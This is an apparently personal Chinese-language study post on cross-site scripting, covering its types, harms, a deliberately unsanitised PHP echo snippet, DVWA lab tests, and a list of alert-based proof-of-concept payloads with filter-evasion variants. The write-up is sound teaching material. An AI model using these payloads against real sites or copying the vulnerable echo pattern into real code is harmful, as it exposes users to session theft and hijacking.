Xss漏洞的认知

本文最后更新于 2023年12月28日 18:19

Xss漏洞原理

概述

XSS 被称为跨站脚本攻击(Cross-site scripting),本来应该缩写为CSS,但是由于和CSS(Cascading Style Sheets,层叠样式脚本)重名,所以更名为 XSS。XSS(跨站脚本攻击)主要基于javascript(JS)完成恶意的攻击行为。JS 可以非常灵活的操作 html、css和浏览器

XSS 通过将精心构造的代码(JS)注入到网页中,并由浏览器解释运行这段 JS 代码,以达到恶意攻击的效果。当用户访问被 XSS 脚本注入的网页,XSS 脚本就会被提取出来。用户浏览器就会解析这段 XSS 代码,也就是说用户被攻击了。用户最简单的动作就是使用浏览器上网,并且浏览器中有 javascript 解释器,可以解析 javascript,然而浏览器不会判断代码是否恶意

jS 代码
JS 全称是JavaScript
JS 运行的环境是浏览器,具体点说,主流浏览器都有JS 引擎
操作HTML DOM、CSS 和浏览器
document.cookie =“”

利用方式

利用网页开发时 Web 应用程序对用户输入过滤不足导致将恶意代码注入到网页中,使用户浏览器加载并执行恶意代码,通常是JavaScript类型,也包括java、vbs、flash、html 等

执行方式

用户浏览被 XSS 注入过的网页,浏览器就会解析这段代码,就被攻击了。因为浏览器当中有JavaScript解析器,浏览器不会判断代码是否恶意,只要符合语法规则,就会直接解析了

攻击对象

微博、留言板、聊天室等等收集用户输入的地方,都有可能被注入 XSS 代码,都存在遭受 XSS 的风险,只要没有对用户的输入进行严格过滤,就会被 XSS 攻击

Xss危害

1)窃取cookie

  • 因为大部分人喜欢将密码储存到浏览器当中,所以黑客一般渗透的时候就会先来浏览器查看已保存的cookie 来盗取各种用户账号

2)未授权操作

  • js特性很强大,黑客会直接代替用户在 html 进行各类操作。比如劫持会话,刷流量,执行弹窗广告,还能记录用户的键盘输入。

3)传播蠕虫病毒
4)站点重定向

简单代码

1
2
3
4
<?php
$input = $_GET["XSS"];
etho "<div>".$input."</div>";
?>

XSS验证

当在测试页面上提交以下代码,浏览器执行之后会出现弹窗,这是为了验证 JS 代码是否被执行,代码被当做字符串输出在 HTML 页面上,浏览器当中的 JavaScript 解析器会根据

1
2
3
<script>alert(/xss/)</script>           #比较常用
<script>confirm('xss')</script>
<script>prompt("xss")</script>

Xss漏洞分类

实验环境:DVWA靶场

XSS 漏洞大概可以分为三个类型:反射型XSS、存储型XSS、DOM 型XSS

一个好用的xss测试代码:<script " 'Oonn>,方便我们测试网页后台对输入语句的过滤规则。利用该语句输入后,审查源码,猜测是否过滤以及过滤规则是什么。

反射型(Refi)XSS

原理:

​ 用户在请求某个URL地址时,会携带一部分数据。当客户端进行访问某条链接时,攻击者可以将恶意代码注入到URL,如果服务器端未对URL携带的参数做判断和过滤,直接返回响应页面,那么XSS攻击代码就会被一起传输到用户的浏览器,触发反射型XSS

特点:非持久性

参数脚本
js代码在web应用的参数当中:搜索框

数据流量:浏览器—->后端—->浏览器

恶意代码并没有保存在目标网站,通过引诱用户点击一个链接到目标网站的恶意链接来实施攻击。

1
<script> alert(/xss/)  </script>

image.png|475

存储型XSS

原理:
被保存到服务器上,显示到HTML页面中,经常出现在用户评论的页面,攻击者将XSS代码保存到数据库中,当用户在此访问这个页面时,就会触发并执行XSS代码,窃取用户的敏感信息

特点:危害性最大:持久的保存在服务器上 持久型XSS

js代码不在某个参数中,而是被写进了数据库或文件可以永久保存数据的介质中,如留言板等

数据流量走向:浏览器—>后端—>数据库—>后端—>浏览器

当一个页面存在存储型XSS的时候,插入的恶意代码会存储到数据库中。当访问此页面查看留言时,web程序会从数据库中取出恶意代码插入到页面,导致浏览器触发xss。
不管任何用户访问当前页面得时候,都会触发这个恶意的xss代码

可利用存储型xss做钓鱼
水坑:知道管理员一定会经过这个这个位置,提前留好水坑等着管理员去踩

image.png

DOM型XSS

原理:
修改DOM节点形成xss。类似于反射型的xss。反射型和存储型都是服务器端将代码反馈到了源码中,在源代码里可以看到xss的代码。DOM型号XSS只与客户端上的js交互,也就是说提交的恶意代码被放到了js中执行,然后显示出来

特点:非持久性

数据流量:URL—>浏览器

从上到下,从左至右
dom树
image.png|325

image.png|475

三、XSS payload及变形

payload构造

1)利用伪协议(HTML标签的属性值)

1
<a href="javascript:alert(/xss/)">touch me !< /a>
1
<img src="javascript:alert('xss')">   #需在IE6测试

2)利用事件

1
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
1
<input type="text" onclick="alert(/xss/)">

3)利用CSS (只做了解)
行内样式

1
<div style="background-image:url(javascript:alert(/xss/))">

页内样式

1
<style>Body{background-image:url(javascript:alert(/xss/))}</style>

4)利用【<>】构造HTML标签和标签

1
2
<h1 style="color:green;">XSS</h1>
<script>alert(/xss/)</script>

payload变形

1)大小写

1
<iMg sRc='#'Onerror="alert(/xss/)"/>
1
<a hREf="javaScript:alert(/xss/)">click me </a>

2)双写关键字(有限制)
前提是将识别到的关键字替换为空

1
<scrscript>alert(/xss/)</scrscript>

3)【/】代替空格

1
<img/src='#'onerror='alert(/xss/)'/>

4)关键字被过滤的情况

1
2
<svg>
<svg onload="alert(1)">

5)javascript伪协议的使用

1
<table background="javascript:alert(1)"></table>

Xss漏洞的认知
http://example.com/posts/8efadca2/
作者
帅蛋同学_
发布于
2023年12月28日 00:00
更新于
2023年12月28日 18:19
许可协议